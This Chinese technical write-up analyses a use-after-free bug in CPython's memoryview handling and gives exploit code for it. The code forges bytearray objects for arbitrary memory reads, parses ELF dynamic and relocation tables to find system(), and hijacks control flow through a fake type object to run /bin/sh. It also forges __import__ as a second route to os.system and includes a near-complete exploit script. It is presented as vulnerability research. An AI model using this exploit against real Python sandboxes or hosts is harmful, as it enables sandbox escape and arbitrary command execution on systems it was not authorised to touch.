一个潜藏10年的Python UAF漏洞
字数 1714 2025-08-27 12:33:37
Python UAF漏洞分析与利用技术详解
0x00 漏洞概述
本文详细分析一个潜伏10年的Python UAF(Use-After-Free)漏洞,该漏洞允许在特定条件下实现代码执行。漏洞最初由腾讯玄武实验室发现并公开,影响所有版本的CPython 3。
漏洞危害
- 执行条件:需要能够执行Python代码的环境
- 利用限制:在普通环境中可直接使用
os.system(),但在受限沙箱环境中可能更有价值 - 技术价值:通过非常规方式实现
system('/bin/bash')的技术研究
漏洞影响
- 影响对象:CPython(C语言编写的Python解释器)
- 关键对象:
memoryview对象的内存管理机制 - 利用环境:作者提供的EXP针对Linux平台64位Python3
0x01 Python对象内存结构基础
1.1 PyObject基础结构
Python中所有对象都是PyObject的子类,在C中表示为结构体:
typedef struct _object {
_PyObject_HEAD_EXTRA // Release版本中不存在
Py_ssize_t ob_refcnt; // 引用计数
PyTypeObject *ob_type; // 类型指针
} PyObject;
typedef struct {
PyObject ob_base;
Py_ssize_t ob_size; // 变长对象包含的元素数量
} PyVarObject;
1.2 PyTypeObject类型对象
Python中的类也是对象,用PyTypeObject结构体表示:
struct _typeobject {
PyObject_VAR_HEAD
const char *tp_name; // 类型名称
Py_ssize_t tp_basicsize, tp_itemsize; // 分配大小信息
// 方法实现
destructor tp_dealloc;
getattrfunc tp_getattr;
setattrfunc tp_setattr;
// ... 其他方法指针
};
关键字段:
tp_basicsize:对象基础数据长度tp_itemsize:每个元素的长度- 各种函数指针(如
tp_getattr、tp_setattr等)
1.3 关键内置类型结构
bytearray对象
typedef struct {
PyObject_VAR_HEAD
Py_ssize_t ob_alloc; // 分配字节数
char *ob_bytes; // 实际数据缓冲区
char *ob_start; // 逻辑起始位置
Py_ssize_t ob_exports; // 缓冲区导出计数
} PyByteArrayObject;
bytes对象
typedef struct {
PyObject_VAR_HEAD
Py_hash_t ob_shash;
char ob_sval[1]; // 实际数据存储(以null结尾)
} PyBytesObject;
list对象
typedef struct {
PyObject_VAR_HEAD
PyObject **ob_item; // 元素指针数组
Py_ssize_t allocated; // 已分配空间
} PyListObject;
0x02 memoryview与关键函数
2.1 memoryview对象
memoryview是Python内置类,相当于指针:
- 官方限制:只能指向支持缓冲区协议的对象(如bytes和bytearray)
- 功能:提供对底层数据的直接访问,不复制数据
- 安全性:记录长度信息,防止越界访问
2.2 id函数
id()返回对象在内存中的首地址:
x = object()
print(hex(id(x))) # 输出对象内存地址
0x03 ELF文件结构基础
3.1 ELF文件头
typedef struct elf64_hdr {
unsigned char e_ident[16]; // ELF魔数
Elf64_Half e_type; // 文件类型
Elf64_Half e_machine; // 机器类型
Elf64_Word e_version; // 版本
Elf64_Addr e_entry; // 入口点地址
Elf64_Off e_phoff; // 程序头表偏移
Elf64_Off e_shoff; // 节头表偏移
// ... 其他字段
} Elf64_Ehdr;
关键信息:
e_ident:识别ELF文件格式(32/64位,大小端)e_type:判断是否开启PIE(位置无关可执行文件)
3.2 Program Header Table
描述ELF文件如何映射到内存:
typedef struct elf64_phdr {
Elf64_Word p_type; // 段类型
Elf64_Word p_flags; // 段标志
Elf64_Off p_offset; // 文件偏移
Elf64_Addr p_vaddr; // 虚拟地址
Elf64_Addr p_paddr; // 物理地址
Elf64_Xword p_filesz; // 文件大小
Elf64_Xword p_memsz; // 内存大小
Elf64_Xword p_align; // 对齐方式
} Elf64_Phdr;
重要段类型:
PT_LOAD(1):可加载段PT_DYNAMIC(2):动态链接信息
3.3 .dynamic段
保存动态链接器需要的信息:
typedef struct {
Elf64_Sxword d_tag; // 项类型
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;
关键类型:
DT_STRTAB(5):动态字符串表地址DT_SYMTAB(6):动态符号表地址DT_JMPREL(23):PLT重定位表地址
3.4 重定位表
typedef struct elf64_rela {
Elf64_Addr r_offset; // 重定位地址
Elf64_Xword r_info; // 符号索引和类型
Elf64_Sxword r_addend; // 加数
} Elf64_Rela;
0x04 漏洞分析与利用
4.1 漏洞原理
漏洞源于memoryview对象可以引用已释放的内存:
import io
class File(io.RawIOBase):
def readinto(self, buf):
global view
view = buf # 获取memoryview
def readable(self): return True
f = io.BufferedReader(File())
f.read(1) # 获取BufferedReader的缓冲区view
del f # 释放缓冲区
view = view.cast('P') # 将view转为指针类型
L = [None] * len(view) # 分配相同大小的list
view[0] = 0 # 修改已释放内存
print(L[0]) # 触发段错误
4.2 利用步骤
4.2.1 内存泄露技术
通过伪造bytearray对象实现任意内存读取:
def _create_fake_byte_array(self, addr, size):
# 伪造bytearray对象结构
byte_array_obj = flat(
p64(10), # refcount
p64(id(bytearray)), # type
p64(size), # ob_size
p64(size), # ob_alloc
p64(addr), # ob_bytes
p64(addr), # ob_start
p64(0x0) # ob_exports
)
self.freed_buffer[0] = id(byte_array_obj) + 32
return self.fake_objs[0][0:length]
4.2.2 寻找system函数地址
- 通过泄露的指针找到Python二进制基址
- 解析ELF文件头获取程序头表信息
- 定位.dynamic段获取动态链接信息
- 遍历重定位表找到system符号
def find_system(self):
# 1. 找到二进制基址
bin_base = self.find_bin_base()
# 2. 解析ELF头
data = self.leak(bin_base, 0x1000)
phoff = u64(data[0x20:0x28]) # 程序头表偏移
# 3. 找到.dynamic段
for i in range(phnum):
hdr = data[phoff + i*phentsize : ...]
if u32(hdr[0:4]) == 2: # PT_DYNAMIC
dynamic = u64(hdr[0x10:0x18])
# 4. 解析.dynamic段
dynamic_data = self.leak(dynamic, 500)
# 获取DT_STRTAB, DT_SYMTAB, DT_JMPREL
# 5. 遍历重定位表找system
rela_data = self.leak(rela, 0x1000)
for i in range(...):
entry = rela_data[i*24 : (i+1)*24]
sym_idx = u64(entry[8:16]) >> 32
sym = self.leak(symtab + sym_idx*24, 24)
name_off = u32(sym[0:4])
name = self.leak(strtab + name_off, 6)
if name == b'system':
system_got = u64(entry[0:8])
return u64(self.leak(system_got, 8))
4.2.3 控制程序执行流
通过伪造对象和类型对象实现任意代码执行:
def set_rip(self, addr, obj_refcount=0x10):
# 伪造类型对象
type_obj = flat(
p64(0xac1dc0de), # refcount
b'X'*0x68, # padding
p64(addr)*100 # 虚函数表
)
# 伪造PyObject
data = flat(
p64(obj_refcount), # refcount (/bin/sh)
p64(id(type_obj)) # 类型指针
)
self.freed_buffer[0] = id(data) + 32
try:
self.fake_objs[0].trigger # 触发tp_getattro
except:
pass
4.3 彩蛋:open.__self__技巧
不使用import io而通过open.__self__获取io模块:
io = open.__self__ # 等价于_io模块
原理:
open是PyCFunctionObject对象__self__属性对应m_self字段_io模块初始化时将自身设置为open方法的m_self
0x05 替代利用思路:伪造import
5.1 寻找__import__方法描述
通过__builtins__模块结构找到__import__的PyMethodDef:
def find_import_def(p):
# 获取__builtins__模块的md_def
data = p.leak(id(__builtins__), 0x40)
md_def_addr = u64(data[0x18:0x20])
# 获取m_methods数组
data = p.leak(md_def_addr, 0x48)
m_methods_addr = u64(data[0x40:0x48])
# 遍历方法描述找__import__
for i in range(...):
pyMethodDef = p.leak(m_methods_addr + i*0x20, 0x20)
name_addr = u64(pyMethodDef[0:8])
if name_addr != 0:
name = p.leak(name_addr, 10)
if name == b'__import__':
return m_methods_addr + i*0x20
5.2 伪造import方法
def fake_import(cmd):
p = Exploit()
import_def = find_import_def(p)
# 伪造PyCFunctionObject
fake_obj = flat(
p64(10), # refcount
p64(id(type(len))), # type (使用内置函数类型)
p64(import_def), # m_ml (方法描述)
p64(id(__builtins__)), # m_self
p64(0), p64(0), p64(0) # 其他字段置0
)
p.freed_buffer[0] = id(fake_obj) + 32
os = p.fake_objs[0]("os") # 调用伪造的__import__
os.system(cmd)
0x06 完整利用代码
import io
# 工具函数
def u64(x): return int.from_bytes(x, 'little')
def p64(x): return x.to_bytes(8, 'little')
def flat(*args): return b''.join(args)
class File(io._RawIOBase):
def readinto(self, buf):
global view
view = buf
def readable(self): return True
class Exploit:
def __init__(self):
global view
f = io.BufferedReader(File())
f.read(1)
del f
view = view.cast('P')
self.fake_objs = [None]*len(view)
self.freed_buffer = view
self.no_gc = []
def _create_fake_byte_array(self, addr, size):
byte_array_obj = flat(
p64(10), p64(id(bytearray)), p64(size),
p64(size), p64(addr), p64(addr), p64(0)
)
self.no_gc.append(byte_array_obj)
self.freed_buffer[0] = id(byte_array_obj)+32
def leak(self, addr, length):
self._create_fake_byte_array(addr, length)
return self.fake_objs[0][0:length]
# ... 其他方法如前所述 ...
# 使用示例
e = Exploit()
system = e.find_system()
e.set_rip(system, obj_refcount=u64(b'\x2e/bin/sh\x00'))
0x07 总结
- 该UAF漏洞允许通过
memoryview访问已释放内存 - 利用需要能够执行Python代码的环境
- 关键技术包括:
- 伪造Python对象结构
- 内存泄露技术
- ELF文件解析
- 控制流劫持
- 实际利用价值有限,但在沙箱逃逸等场景可能有奇效
- 展示了Python对象模型和内存管理的底层细节